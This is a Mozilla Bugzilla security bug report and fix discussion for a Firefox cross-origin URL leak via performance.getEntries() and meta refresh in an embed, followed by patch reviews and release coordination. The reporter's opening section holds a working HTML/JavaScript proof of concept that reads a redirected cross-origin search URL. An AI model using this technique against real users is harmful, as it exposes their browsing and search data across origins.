Closed Bug 1468523 (CVE-2018-18499) Opened 3 years ago Closed 3 years ago

Stealing of URL cross-domain using performance.getEntries() once again, treat meta refresh channel as a redirect by setting result principal URL

Categories

(Core :: DOM: Navigation, defect, P1)

60 Branch
defect

Tracking

()

VERIFIED FIXED
mozilla63
Tracking Status
firefox-esr52 --- wontfix
firefox-esr60 62+ verified
firefox61 --- wontfix
firefox62 + verified
firefox63 + verified

People

(Reporter: proof131072, Assigned: dragana)

References

()

Details

(Keywords: csectype-sop, sec-high, Whiteboard: [post-critsmash-triage][adv-main62+][adv-esr60.2+])

Attachments

(3 files, 5 obsolete files)

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36

Steps to reproduce:

IMO, the fix for the following issue is incomplete: https://bugzilla.mozilla.org/show_bug.cgi?id=1246956

We can still access to the Cross-Origin URL, which should be blocked.

This issue has been found in Microsoft Edge too.

Proof Of Concept:

redireg.html:

<embed src="/con.html">
<script>
setTimeout(function(){alert(performance.getEntriesByType("resource")[1].name)},5000);
</script>
<meta http-equiv="refresh" content="6;url=http://pwning.click/histback.html">
<b>
<br>
<br>
<br>
Type anything into the address bar and press ENTER! 
<br>
<br>
<br>
Then I'll figure out your secret search!
</b>

con.html:

<meta http-equiv="refresh" content="0;url=https://www.bing.com/search?q=test">

histback.html:

<Script>
history.back();
</script>

Test live on Microsoft Edge / Mozilla Firefox: http://pwning.click/redireg.html

While Microsoft Edge also allows to steal saved frame's history navigation through performance.getEntries() and embed tag, Mozilla Firefox only allows to access to Cross-Origin URL, but still this should not happen.

As this report involves Microsoft Edge's Cross-Origin URL access Vulnerability, please do not open this report publicly eventhough this is not considered as a Vulnerability or after problem is resolved.


Actual results:

Mozilla Firefox allows us to access Cross-Origin URL


Expected results:

Accessing to Cross-Origin URL should be not possible.
The Original report for Microsoft Edge Information disclosure across origins:

Hi, there is Information disclosure issue in Microsoft Edge where failing to keep history information.

First, A framed navigation in the src attribute of the embed confuses this browser and a functionality problem ends up being a security bug.

We are using HTML <meta> http-equiv Attribute page that redirects to site and navigate inside an embed tag. There is a functionality bug in Microsoft Edge, which overrides the latest location when we use Iframe tag, so instead I used embed tag to grab latest history information inside embed, we can fool the browser and make it remember the typed information in the wrong place. 

This works because Microsoft Edge confuses when we load a redirection page with <meta> http-equiv Attribute inside an embed tag, which allows us to access information across origins.

However, we need to use history.back() to make sure embed tag remember the typed information.

Proof Of Concept:

redireg.html:

<embed src="/con.html">
<script>
setTimeout(function(){alert(performance.getEntriesByType("resource")[1].name)},5000);
</script>
<meta http-equiv="refresh" content="6;url=http://pwning.click/histback.html">
<b>
<br>
<br>
<br>
Type anything into the address bar and press ENTER! 
<br>
<br>
<br>
Then I'll figure out your secret search!
</b>

con.html:

<meta http-equiv="refresh" content="0;url=https://www.bing.com/search?q=test">

histback.html:

<Script>
history.back();
</script>

Test live on Microsoft Edge: http://pwning.click/redireg.html

Test img:






Microsoft Edge Version, tested on latest Windows Insider Preview.
Tested on Firefox ESR 52.8.1 (64-bit).
Testing for Firefox only:

http://pwning.click/redirffeg.php
Dragana/Mike, can you take a look? Looking at the original bug, is originalURI not set for meta-refreshes, only for http header redirects, or something?
Flags: needinfo?(mdeboer)
Flags: needinfo?(dd.mozilla)
Though actually, given there's no requirement to restart the browser to reproduce here, I guess this is a docshell issue...
Group: firefox-core-security → core-security
Component: Untriaged → Document Navigation
Flags: needinfo?(mdeboer)
Product: Firefox → Core
Do you have any kind of reference number from MSRC on this issue? If so please add that to this bug so we can coordinate with them on an embargo.
Flags: needinfo?(proof131072)
Whiteboard: [Embargo: affects MS Edge also]
Group: core-security → dom-core-security
Yes, MSRC has opened Case number 45809.
Flags: needinfo?(proof131072)
CRM:0461051058
Assignee: nobody → dd.mozilla
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
Flags: needinfo?(dd.mozilla)
Attached patch bug_1468523_v0.patch (obsolete) — Splinter Review
Attachment #8987260 - Flags: review?(bugs)
Comment on attachment 8987260 [details] [diff] [review]
bug_1468523_v0.patch

Have you gone through all the places where a new nsIDocShellLoadInfo is used?
nsDocShellLoadInfo::SetOriginalURI seems to be called only in some of those cases. Is that ok?
Attachment #8987260 - Flags: review?(bugs) → review+
(In reply to Olli Pettay [:smaug] from comment #10)
> Comment on attachment 8987260 [details] [diff] [review]
> bug_1468523_v0.patch
> 
> Have you gone through all the places where a new nsIDocShellLoadInfo is used?
> nsDocShellLoadInfo::SetOriginalURI seems to be called only in some of those
> cases. Is that ok?

I have check them all and also I have checked InternlLoad and LoadURI calls as well. I thinks that all cases are covered but I have to say that I am not the expert on DocShell. Maybe it would be good that someone with more knowledge check them as well.
Comment on attachment 8987260 [details] [diff] [review]
bug_1468523_v0.patch

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
The patch shows what the problem is (originURI was introduce to mitigate similar problems, so it is obvious what the problem is). Although it only affects sites with meta http-equiv="refresh".

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
The patch does simple shows what the problem is.

Which older supported branches are affected by this flaw?
all

If not all supported branches, which bug introduced the flaw?

Do you have backports for the affected branches? 

If not, how different, hard to create, and risky will they be? The patch should apply to all branches, if not it is easy to rebase it and it is not risky.

How likely is this patch to cause regressions; how much testing does it need? It is very unlikely that it will cause regressions.
Attachment #8987260 - Flags: sec-approval?
Comment on attachment 8987260 [details] [diff] [review]
bug_1468523_v0.patch

Sec-approval+ for trunk.
We'll want to patches made and nominated for Beta and ESR60 as well.
Comment on attachment 8987260 [details] [diff] [review]
bug_1468523_v0.patch

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration: sec-high
User impact if declined: Stealing of URL cross-domain using performance.getEntries() 
Fix Landed on Version:63
Risk to taking this patch (and alternatives if risky): very low risk, probably none.
String or UUID changes made by this patch: none

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.

Approval Request Comment
[Feature/Bug causing the regression]: long existing bug
[User impact if declined]: Stealing of URL cross-domain using performance.getEntries() 
[Is this code covered by automated tests?]: no
[Has the fix been verified in Nightly?]: not yet, I did local testing since there are steps to reproduce.
[Needs manual test from QE? If yes, steps to reproduce]: there are described in comment #3
[List of other uplifts needed for the feature/fix]: none
[Is the change risky?]: no
[Why is the change risky/not risky?]: one-line change. it sets a value to a variable that is use only for one purpose(code involving this variable is very contained, therefore easy to say that there should not be side effects)
[String changes made/needed]:none
Attachment #8987260 - Flags: approval-mozilla-esr60?
Attachment #8987260 - Flags: approval-mozilla-beta?
This has sec-approval to land, but I'm not sure if there's anything special we need to know or do to coordinate with the Edge team.   Al, Dan, anything I need to know for that?  Are we definitely OK to land this fix on m-c and beta? Thanks.
Flags: needinfo?(dveditz)
Flags: needinfo?(abillings)
"Embargo" is about what we publish, it may mean not listing this fix in the security advisories or being appropriately vague. The sec-approval process will take that into account for whether it affects when or if we land a fix but most of the time it doesn't delay us from landing a fix.
Flags: needinfo?(dveditz)
Flags: needinfo?(abillings)
Attachment #8987260 - Flags: sec-approval?
Attachment #8987260 - Flags: sec-approval+
Attachment #8987260 - Flags: approval-mozilla-esr60?
Attachment #8987260 - Flags: approval-mozilla-esr60+
Attachment #8987260 - Flags: approval-mozilla-beta?
Attachment #8987260 - Flags: approval-mozilla-beta+
I forgot to mark the s-a flag. Fixed now and approvals given.
This got backed out for mochitest failures in test_bug475636.html and more:

https://hg.mozilla.org/mozilla-central/rev/37ba626521b5

Push with failures: https://treeherder.mozilla.org/#/jobs?repo=mozilla-inbound&revision=93540ca16c31b162c6c11a120da897428f094398&filter-resultStatus=testfailed&filter-resultStatus=busted&filter-resultStatus=exception&filter-resultStatus=retry&filter-resultStatus=usercancel&filter-resultStatus=runnable
Failure log: https://treeherder.mozilla.org/logviewer.html#?job_id=186329062&repo=mozilla-inbound

[task 2018-07-04T00:53:54.077Z]     INFO - TEST-START | docshell/test/test_bug475636.html
[task 2018-07-04T00:53:54.200Z]     INFO -  @@@@@@@@@hi there: 1
[task 2018-07-04T00:53:54.256Z]     INFO -  @@@@@@@@@hi there: 2
[task 2018-07-04T00:53:54.297Z]     INFO -  @@@@@@@@@hi there: 1
[task 2018-07-04T00:53:54.333Z]     INFO -  @@@@@@@@@hi there: 3
[task 2018-07-04T00:53:54.374Z]     INFO -  @@@@@@@@@hi there: 1
[task 2018-07-04T00:53:54.411Z]     INFO -  @@@@@@@@@hi there: 4
[task 2018-07-04T00:53:54.458Z]     INFO - TEST-INFO | started process screentopng
[task 2018-07-04T00:53:54.465Z]     INFO -  @@@@@@@@@hi there: 5
[task 2018-07-04T00:53:54.545Z]     INFO -  @@@@@@@@@hi there: 6
[task 2018-07-04T00:53:54.833Z]     INFO - TEST-INFO | screentopng: exit 0
[task 2018-07-04T00:53:54.834Z]     INFO - Buffered messages logged at 00:53:54
[task 2018-07-04T00:53:54.834Z]     INFO - TEST-PASS | docshell/test/test_bug475636.html | undefined assertion name 
[task 2018-07-04T00:53:54.836Z]     INFO - TEST-PASS | docshell/test/test_bug475636.html | undefined assertion name 
[task 2018-07-04T00:53:54.837Z]     INFO - TEST-PASS | docshell/test/test_bug475636.html | undefined assertion name 
[task 2018-07-04T00:53:54.837Z]     INFO - Buffered messages finished
[task 2018-07-04T00:53:54.838Z]     INFO - TEST-UNEXPECTED-FAIL | docshell/test/test_bug475636.html | undefined assertion name - got "Able to access private: 42", expected "pass"
[task 2018-07-04T00:53:54.838Z]     INFO -     SimpleTest.is@SimpleTest/SimpleTest.js:312:5
[task 2018-07-04T00:53:54.839Z]     INFO -     runTests@docshell/test/test_bug475636.html:44:5
[task 2018-07-04T00:53:54.839Z]     INFO -     @docshell/test/test_bug475636.html:30:3
[task 2018-07-04T00:53:54.840Z]     INFO -     EventListener.handleEvent*@docshell/test/test_bug475636.html:29:1

Please also check the other failures on that push.
Flags: needinfo?(dd.mozilla)
Flags: needinfo?(dd.mozilla)
Attached patch bug_1468523_v0.patch (obsolete) — Splinter Review
Honza, can you please take a look. You have added resultPrincipalURI. Is this correct?
Attachment #8987260 - Attachment is obsolete: true
Attachment #8987260 - Flags: approval-mozilla-esr60?
Attachment #8990011 - Flags: review?(honzab.moz)
Comment on attachment 8990011 [details] [diff] [review]
bug_1468523_v0.patch

Review of attachment 8990011 [details] [diff] [review]:
-----------------------------------------------------------------

::: docshell/base/nsDocShell.cpp
@@ +6309,5 @@
>    loadInfo->SetReferrer(mCurrentURI);
>  
> +  loadInfo->SetOriginalURI(mCurrentURI);
> +  loadInfo->SetResultPrincipalURI(aURI);
> +  loadInfo->SetResultPrincipalURIIsSome(true);

good catch!

this is on a good way, but it's unfortunately not entirely correct..

during a 30X redirect handling in the old http channel we set the result principal URI (rpURI) on the new channel's load info ONLY when it's left null by the new channel's protocol handler (we may redir not only to http:), we don't set rpURI on http channels (these days..)

if we are redirected to something else than http: that sets rpURI (e.g. the moz: and sometimes the file:, chrome:, resource: and about: protocols) then it may break assumptions and mainly security checks.

one possible solution could be to use load types [1] as a condition to enforce rpURI replacement only when not already set on the channel's loadinfo, at [2].

other way would be (still a bit hacky!) to prevent refresh to anything else than http:, but that doesn't sound right to me.

[1] https://searchfox.org/mozilla-central/rev/6ef785903fee6c0b16a1eab79d722373d940fd78/docshell/base/nsDocShell.cpp#6231,6242
[2] https://searchfox.org/mozilla-central/rev/6ef785903fee6c0b16a1eab79d722373d940fd78/docshell/base/nsDocShell.cpp#10596-10598
Attachment #8990011 - Flags: review?(honzab.moz) → review-
Attached patch bug_1468523_v0.patch (obsolete) — Splinter Review
Attachment #8990011 - Attachment is obsolete: true
Attachment #8990700 - Flags: review?(honzab.moz)
Comment on attachment 8990700 [details] [diff] [review]
bug_1468523_v0.patch

Review of attachment 8990700 [details] [diff] [review]:
-----------------------------------------------------------------

::: docshell/base/nsDocShell.cpp
@@ +10704,5 @@
> +  channel->GetLoadFlags(&flags);
> +  nsCOMPtr<nsIURI> rpURI;
> +  loadInfo->GetResultPrincipalURI(getter_AddRefs(rpURI));
> +  if (aResultPrincipalURI &&
> +      (!((mLoadType | (LOAD_NORMAL_REPLACE) || (mLoadType | LOAD_REFRESH))) ||

I meant docshell type of load on loadinfo:
- nsIDocShellLoadInfo::loadNormalReplace
- nsIDocShellLoadInfo::loadRefresh

any reason why this is better/equiv?
Comment on attachment 8990700 [details] [diff] [review]
bug_1468523_v0.patch

Review of attachment 8990700 [details] [diff] [review]:
-----------------------------------------------------------------

unless there is an explanation why this is a better approach.
Attachment #8990700 - Flags: review?(honzab.moz) → review-
Priority: -- → P1
Attachment #8987260 - Flags: approval-mozilla-beta+
Attached patch bug_1468523_v1.patch (obsolete) — Splinter Review
I have one comment on this: I think we do not need to store ReplaceResultPrincipalURI into history. I tested it with a load form history and a session restore and it worked correctly. If you think I should add it, I will make a patch.
Attachment #8990700 - Attachment is obsolete: true
Attachment #8992633 - Flags: review?(honzab.moz)
Comment on attachment 8992633 [details] [diff] [review]
bug_1468523_v1.patch

Review of attachment 8992633 [details] [diff] [review]:
-----------------------------------------------------------------

very close to what I had in mind.  just few questions before r+

::: docshell/base/nsDocShell.cpp
@@ +717,5 @@
>  
> +    if (resultPrincipalURI) {
> +      replaceResultPrincipalURI = (lt == nsIDocShellLoadInfo::loadNormalReplace) ||
> +                                  (lt == nsIDocShellLoadInfo::loadRefresh);
> +    }

oh, this is nice.. the load types have just been modified in bug 1472087!  but it seems to work the same way as before.

now it's LOAD_NORMAL_REPLACE and LOAD_REFRESH

why exactly do you need to set |replaceResultPrincipalURI| exactly this way and exactly here, so in advance?

@@ +10724,4 @@
>      // Unconditionally override, we want the replay to be equal to what has
>      // been captured.
>      loadInfo->SetResultPrincipalURI(aResultPrincipalURI.ref());
>    }

instead of "replaceRPURI" it IMO should be "keepRPURI", because we want to prevent replacing it in this specific refresh case (loadNormalReplace or loadRefresh).

the name, as is, is confusing for me.

btw, isn't really the load type available in some docshell member?  can't you take it from the loadInfo?

regarding the need for the arg/condition element, there are possible corner cases.  When there already is rpURI on the load info, we MUST keep it during the replace/refresh case.  In all other cases we force-replace it, always.

hence, just 

if (aResultPrincipalURI && !rpURI)

is not correct/enough at all unless I miss something.
(In reply to Honza Bambas (:mayhemer) from comment #26)
> Comment on attachment 8992633 [details] [diff] [review]
> bug_1468523_v1.patch
> 
> Review of attachment 8992633 [details] [diff] [review]:
> -----------------------------------------------------------------
> 
> very close to what I had in mind.  just few questions before r+
> 
> ::: docshell/base/nsDocShell.cpp
> @@ +717,5 @@
> >  
> > +    if (resultPrincipalURI) {
> > +      replaceResultPrincipalURI = (lt == nsIDocShellLoadInfo::loadNormalReplace) ||
> > +                                  (lt == nsIDocShellLoadInfo::loadRefresh);
> > +    }
> 
> oh, this is nice.. the load types have just been modified in bug 1472087! 
> but it seems to work the same way as before.
> 
> now it's LOAD_NORMAL_REPLACE and LOAD_REFRESH
> 
> why exactly do you need to set |replaceResultPrincipalURI| exactly this way
> and exactly here, so in advance?

this is where we collect all information from a nsDocShellLoadInfo.

> 
> @@ +10724,4 @@
> >      // Unconditionally override, we want the replay to be equal to what has
> >      // been captured.
> >      loadInfo->SetResultPrincipalURI(aResultPrincipalURI.ref());
> >    }
> 
> instead of "replaceRPURI" it IMO should be "keepRPURI", because we want to
> prevent replacing it in this specific refresh case (loadNormalReplace or
> loadRefresh).
> 

ou are right it should be keepRPURI.

> the name, as is, is confusing for me.
> 
> btw, isn't really the load type available in some docshell member?  can't
> you take it from the loadInfo?
> 

I took it from loadInfo in my previous patch :) (you preferred nsIDocShellLoadInfo types). loadInfo holds a translated version of nsIDocShellLoadInfo type.

> regarding the need for the arg/condition element, there are possible corner
> cases.  When there already is rpURI on the load info, we MUST keep it during
> the replace/refresh case.  In all other cases we force-replace it, always.
> 
> hence, just 
> 
> if (aResultPrincipalURI && !rpURI)
> 
> is not correct/enough at all unless I miss something.

I am not sure I understand.
(In reply to Dragana Damjanovic [:dragana] from comment #27)
> (In reply to Honza Bambas (:mayhemer) from comment #26)
> I took it from loadInfo in my previous patch :) (you preferred
> nsIDocShellLoadInfo types). loadInfo holds a translated version of
> nsIDocShellLoadInfo type.

Ah!!!  Yes, my mistake, I'm really sorry for that!  I think mLoadType was the way to go all the time, I somehow misplaced that for load flags :((   

But OTOH you could freely oppose to comment 23 that this was actually equivalent ;)

> 
> > regarding the need for the arg/condition element, there are possible corner
> > cases.  When there already is rpURI on the load info, we MUST keep it during
> > the replace/refresh case.  In all other cases we force-replace it, always.
> > 
> > hence, just 
> > 
> > if (aResultPrincipalURI && !rpURI)
> > 
> > is not correct/enough at all unless I miss something.
> 
> I am not sure I understand.

I think the explanation, at least partial, is this: https://bugzilla.mozilla.org/show_bug.cgi?id=1319111#c174

To make sure I understand your original question here - you mean we don't need the `LOAD_NORMAL_REPLACE or LOAD_REFRESH` condition added and only add `if (!rpURI)`?  Comment 21 is trying to explain why we definitely don't.

The refresh/replace case is actually a redirect.  We somewhat `abuse` (may be too strong word, tho) the rpURI restore through the loadInfo structure.  To do it right, we must treat it the same way as in case of a redirect, e.g. in nsHttpChannel, i.e. set to the target URI, IF NULL.

For a normal restore load we want to override to the stored rpURI, regardless if the uri's handler has set some of its own, same or even different.  I can't find the comment or note why it's the case exactly, but I clearly remember talking about this with Boris once.  I believe the reason is we want to make sure the document URI is the same, which also applies to iframes, xml docs, embeded docs.  This uri is critical, since it's used for security checks.

Maybe we need to walk through this again and make sure we clearly understand why we do things the way we do but please not in this bug.

Does this make sense?
(In reply to Honza Bambas (:mayhemer) from comment #28)
> in nsHttpChannel, i.e. set to the target URI, IF NULL.

i.e. to set rpURI to be the target URI (the one we created the channel for), if rpURI is null.  if rpURI is non-null, leave it.
Attached patch bug_1468523_v2.patch (obsolete) — Splinter Review
So I left the keepResultPrincipalURIIfSet because nsIDocShellLoadInfo::loadNormalReplace can be set in other cases as well.
Attachment #8992633 - Attachment is obsolete: true
Attachment #8992633 - Flags: review?(honzab.moz)
Attachment #8993253 - Flags: review?(honzab.moz)
(In reply to Honza Bambas (:mayhemer) from comment #28)

> I think the explanation, at least partial, is this:
> https://bugzilla.mozilla.org/show_bug.cgi?id=1319111#c174
> 
> To make sure I understand your original question here - you mean we don't
> need the `LOAD_NORMAL_REPLACE or LOAD_REFRESH` condition added and only add
> `if (!rpURI)`?  Comment 21 is trying to explain why we definitely don't.
> 
> The refresh/replace case is actually a redirect.  We somewhat `abuse` (may
> be too strong word, tho) the rpURI restore through the loadInfo structure. 
> To do it right, we must treat it the same way as in case of a redirect, e.g.
> in nsHttpChannel, i.e. set to the target URI, IF NULL.
> 
> For a normal restore load we want to override to the stored rpURI,
> regardless if the uri's handler has set some of its own, same or even
> different.  I can't find the comment or note why it's the case exactly, but
> I clearly remember talking about this with Boris once.  I believe the reason
> is we want to make sure the document URI is the same, which also applies to
> iframes, xml docs, embeded docs.  This uri is critical, since it's used for
> security checks.
> 
> Maybe we need to walk through this again and make sure we clearly understand
> why we do things the way we do but please not in this bug.
> 
> Does this make sense?

now I understand how all of this works. Thanks.
Comment on attachment 8993253 [details] [diff] [review]
bug_1468523_v2.patch

Review of attachment 8993253 [details] [diff] [review]:
-----------------------------------------------------------------

Clearest and best possible solution, thanks!

note that we don't need to persist this new docshellloadinfo property in session store because:
- when storing a page state we are storing the correct value for rpURI (that may have been set according the "keep-if-set" flag) and thus no longer need the flag
- the value "true" is never used for session restore, only for meta refresh which never comes from the session store code
Attachment #8993253 - Flags: review?(honzab.moz) → review+
(In reply to Honza Bambas (:mayhemer) from comment #32)
> Comment on attachment 8993253 [details] [diff] [review]
> bug_1468523_v2.patch
> 
> Review of attachment 8993253 [details] [diff] [review]:
> -----------------------------------------------------------------
> 
> Clearest and best possible solution, thanks!
> 
> note that we don't need to persist this new docshellloadinfo property in
> session store because:
> - when storing a page state we are storing the correct value for rpURI (that
> may have been set according the "keep-if-set" flag) and thus no longer need
> the flag
> - the value "true" is never used for session restore, only for meta refresh
> which never comes from the session store code

Yes I came to the same conclusion about session history.
Comment on attachment 8993253 [details] [diff] [review]
bug_1468523_v2.patch

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
The patch shows what the problem is (originURI was introduce to mitigate similar problems, so it is obvious what the problem is). Although it only affects sites with meta http-equiv="refresh".

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
The patch does simple shows what the problem is.

Which older supported branches are affected by this flaw?
all

If not all supported branches, which bug introduced the flaw?

Do you have backports for the affected branches? yes

If not, how different, hard to create, and risky will they be? it was easy to rebase the patch.

How likely is this patch to cause regressions; how much testing does it need? I believe it is unlikely that it will cause regressions. The patch carefully adds the new code so that it does not cause regressions with some corner cases (I made sure that only this specific code path is affected by the change and other code-paths are unaffected).
Attachment #8993253 - Flags: sec-approval?
Whiteboard: [Embargo: affects MS Edge also] → [Embargo: affects MS Edge also CRM:0461051058]
Comment on attachment 8993253 [details] [diff] [review]
bug_1468523_v2.patch

sec-approval=dveditz
Attachment #8993253 - Flags: sec-approval? → sec-approval+
rebased for beta

Approval Request Comment
[Feature/Bug causing the regression]:
[User impact if declined]:
[Is this code covered by automated tests?]:
[Has the fix been verified in Nightly?]:
[Needs manual test from QE? If yes, steps to reproduce]: 
[List of other uplifts needed for the feature/fix]:
[Is the change risky?]:
[Why is the change risky/not risky?]:
[String changes made/needed]:

Approval Request Comment
[Feature/Bug causing the regression]: long existing bug
[User impact if declined]: Stealing of URL cross-domain using performance.getEntries() 
[Is this code covered by automated tests?]: no
[Has the fix been verified in Nightly?]: not yet, I did local testing since there are steps to reproduce.
[Needs manual test from QE? If yes, steps to reproduce]: there are described in comment #3
[List of other uplifts needed for the feature/fix]: none
[Is the change risky?]: I think not, but I cannot tell for sure.
[Why is the change risky/not risky?]: I believe it is unlikely that it will cause regressions. The patch carefully adds the new code so that it does not cause regressions with some corner cases (I made sure that only this specific code path is affected by the change and other code-paths are unaffected).
[String changes made/needed]:none
Attachment #8994195 - Flags: review+
Attachment #8994195 - Flags: approval-mozilla-beta?
Rebased patch for esr60


[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration: sec-high
User impact if declined: Stealing of URL cross-domain using performance.getEntries() 
Fix Landed on Version:63
Risk to taking this patch (and alternatives if risky): I believe it is unlikely that it will cause regressions. The patch carefully adds the new code so that it does not cause regressions with some corner cases (I made sure that only this specific code path is affected by the change and other code-paths are unaffected).
String or UUID changes made by this patch: none

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.
Attachment #8994196 - Flags: review+
Attachment #8994196 - Flags: approval-mozilla-esr60?
Comment on attachment 8994195 [details] [diff] [review]
bug_1468523_beta.patch

Sec-high, Beta62+
Attachment #8994195 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Comment on attachment 8994196 [details] [diff] [review]
bug_1468523_esr60.patch

Sec-high, ESR60.2+
Attachment #8994196 - Flags: approval-mozilla-esr60? → approval-mozilla-esr60+
Keywords: checkin-needed
Daniel, can this land or does this need coordinated landing/release efforts with the Edge team due to the embargo? Can't find any documentation for that. Thank you.
Flags: needinfo?(dveditz)
Dragana, please update the patch for trunk, there are conflicts (the parent is 1.5 months old). Thank you.

Needinfo is answered in comment 16.
Flags: needinfo?(dveditz) → needinfo?(dd.mozilla)
Keywords: checkin-needed
rebased.
Attachment #8993253 - Attachment is obsolete: true
Flags: needinfo?(dd.mozilla)
Attachment #8995159 - Flags: review+
Keywords: checkin-needed
Group: dom-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 3 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla63
Flags: qe-verify+
Whiteboard: [Embargo: affects MS Edge also CRM:0461051058] → [Embargo: affects MS Edge also CRM:0461051058][post-critsmash-triage]
I managed to reproduce this issue on Firefox 62.0a1 (2018-06-12), under Windows 10x64, using the test page from Comment 3.
I noticed that on Firefox 62.0b12 'http://pwning.click/con.html' is displayed and on Firefox 63.0a1 (2018-07-29) 'http://pwning.click/favicon.ico'. Is expected to have different results on Nightly and Beta builds? 
Tests were performed under Windows 10x64, macOS 10.12.6 and under Ubuntu 18.04x64.

Note that on affected bulds, 'https://www.bing.com/search?q=test' is displayed.
Flags: needinfo?(dd.mozilla)
(In reply to Mihai Boldan, QA [:mboldan] from comment #45)
> I managed to reproduce this issue on Firefox 62.0a1 (2018-06-12), under
> Windows 10x64, using the test page from Comment 3.
> I noticed that on Firefox 62.0b12 'http://pwning.click/con.html' is
> displayed and on Firefox 63.0a1 (2018-07-29)
> 'http://pwning.click/favicon.ico'. Is expected to have different results on
> Nightly and Beta builds? 

I think it is a timing issue (whether it is showing 'http://pwning.click/con.html' or 'http://pwning.click/favicon.ico'.

The important thing is that is not showing 'https://www.bing.com/search?q=test'.

> Tests were performed under Windows 10x64, macOS 10.12.6 and under Ubuntu
> 18.04x64.
> 
> Note that on affected bulds, 'https://www.bing.com/search?q=test' is
> displayed.
Flags: needinfo?(dd.mozilla)
Has Edge fixed this? Is this issue still under embargo for security advisories and public comment?
Flags: needinfo?(proof131072)
Yes, Microsoft fixed the issue: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8351
However, I want to keep this report private as I found a variant of this issue on Microsoft Edge.
Flags: needinfo?(proof131072)
Taking in consideration Comment 45 and Comment 46, I'm marking this issue Verified Fixed.
Status: RESOLVED → VERIFIED
Flags: qe-verify+
Minusing for advisories based on comment 49 for Firefox 62 and 60.2.
Whiteboard: [Embargo: affects MS Edge also CRM:0461051058][post-critsmash-triage] → [Embargo: affects MS Edge also CRM:0461051058][post-critsmash-triage][adv-main62-][adv-esr60.2-]
Does description in the security advisories need to be specific? as far as report stays private and information on the advisories being vague isn't that ok? Also, that variant uses different trick as I mentioned before.
e.g. description might include "Same Origin Policy Violation using Resource Timing API" but not include something like "redirection using a meta-refresh"

Note that original bug with this trick has been fixed anyways.
We need to have some detail. We're not going to disclose this in the Firefox 62 advisories until after Edge has addressed the basic issue.
Did you checked that Microsoft has fixed MSRC Case  45809  CRM:0461051058 report?
This issue has been fixed on August update. Also, maybe description could be something like this? since it looks similar to this one: https://www.mozilla.org/en-US/security/advisories/mfsa2017-24/#﷒0
If you open http://pwning.click/redirffeg.php on Microsoft Edge, it alerts "http://pwning.click/con.html" which is expected behavior. 
I don't understand why this should be not on Security Advisories.
See Also: → 1487965
Dragana Damjanovic do you know if this fix landed in Firefox 60.2.0esr? 
If it did, something is wrong there since https://www.bing.com/search?q=test is displayed when accessing http://pwning.click/con.html.
Tests were executed under Windows 10x64, Ubuntu 16.04x86 and MacOS 10.12.
Flags: needinfo?(dd.mozilla)
A variant has been fixed on Microsoft Edge: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8366
Will this be added on Security Advisories?
Also, do I get bounty for this report?
(In reply to James Lee from comment #57)
> A variant has been fixed on Microsoft Edge:
> https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-
> 8366
> Will this be added on Security Advisories?

If Microsoft has fixed their versions of the issue, it should be added to the advisories for the previous release.

> Also, do I get bounty for this report?

In the future, please follow the bounty program guidelines at https://www.mozilla.org/en-US/security/client-bug-bounty/ which state:

> If you have filed the bug directly in Bugzilla without using the Bugzilla client bug bounty form, notify the Mozilla Security Group by email to security@mozilla.org and include the number of the bug you filed and a mention that you are submitting it for bounty consideration. Do not send the actual vulnerability via email.

Asking for security bounties in bugs is not how Mozilla processes bounty requests normally.
Flags: sec-bounty?
Ah I see, I should have read guidelines before asking, my bad. I'll report through https://bugzilla.mozilla.org/form.client.bounty from now on, thanks for the information.

Btw, please credit me as "James Lee of Kryptos Logic"
What is the bug ID for the reported Edge issue so I can confirm with Microsoft that this is fixed in Edge and released?
Flags: needinfo?(proof131072)
Following is case information of this month's fix: MSRC Case 47204  CRM:0461060727
Flags: needinfo?(proof131072)
Flags: sec-bounty? → sec-bounty+
I'm adding the Microsoft contact. They state that there are variant issues that won't be fixed until the November 13 update so they would prefer to keep public disclosure quiet until after they ship their final fixes.
See Also: → 1491575
Summary: Stealing of URL cross-domain using performance.getEntries() once again → Stealing of URL cross-domain using performance.getEntries() once again, treat meta refresh channel as a redirect by setting result principal URL
(In reply to Mihai Boldan, QA [:mboldan] from comment #56)
> Dragana Damjanovic do you know if this fix landed in Firefox 60.2.0esr? 
> If it did, something is wrong there since https://www.bing.com/search?q=test
> is displayed when accessing http://pwning.click/con.html.
> Tests were executed under Windows 10x64, Ubuntu 16.04x86 and MacOS 10.12.

It seems that http://pwning.click/con.html does a meta refresh to https://www.bing.com/search?q=test
From what I can tell this is what is supposed to happen.
The repro in comment 0 seems to be fixed though.
Flags: needinfo?(dd.mozilla) → needinfo?(mihai.boldan)
Taking in consideration Comment 63, I'm marking this issue verified also on the ESR build.
Flags: needinfo?(mihai.boldan)
Alias: CVE-2018-18499
Whiteboard: [Embargo: affects MS Edge also CRM:0461051058][post-critsmash-triage][adv-main62-][adv-esr60.2-] → [post-critsmash-triage][adv-main62-][adv-esr60.2-]
Whiteboard: [post-critsmash-triage][adv-main62-][adv-esr60.2-] → [post-critsmash-triage][adv-main62+][adv-esr60.2+]
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.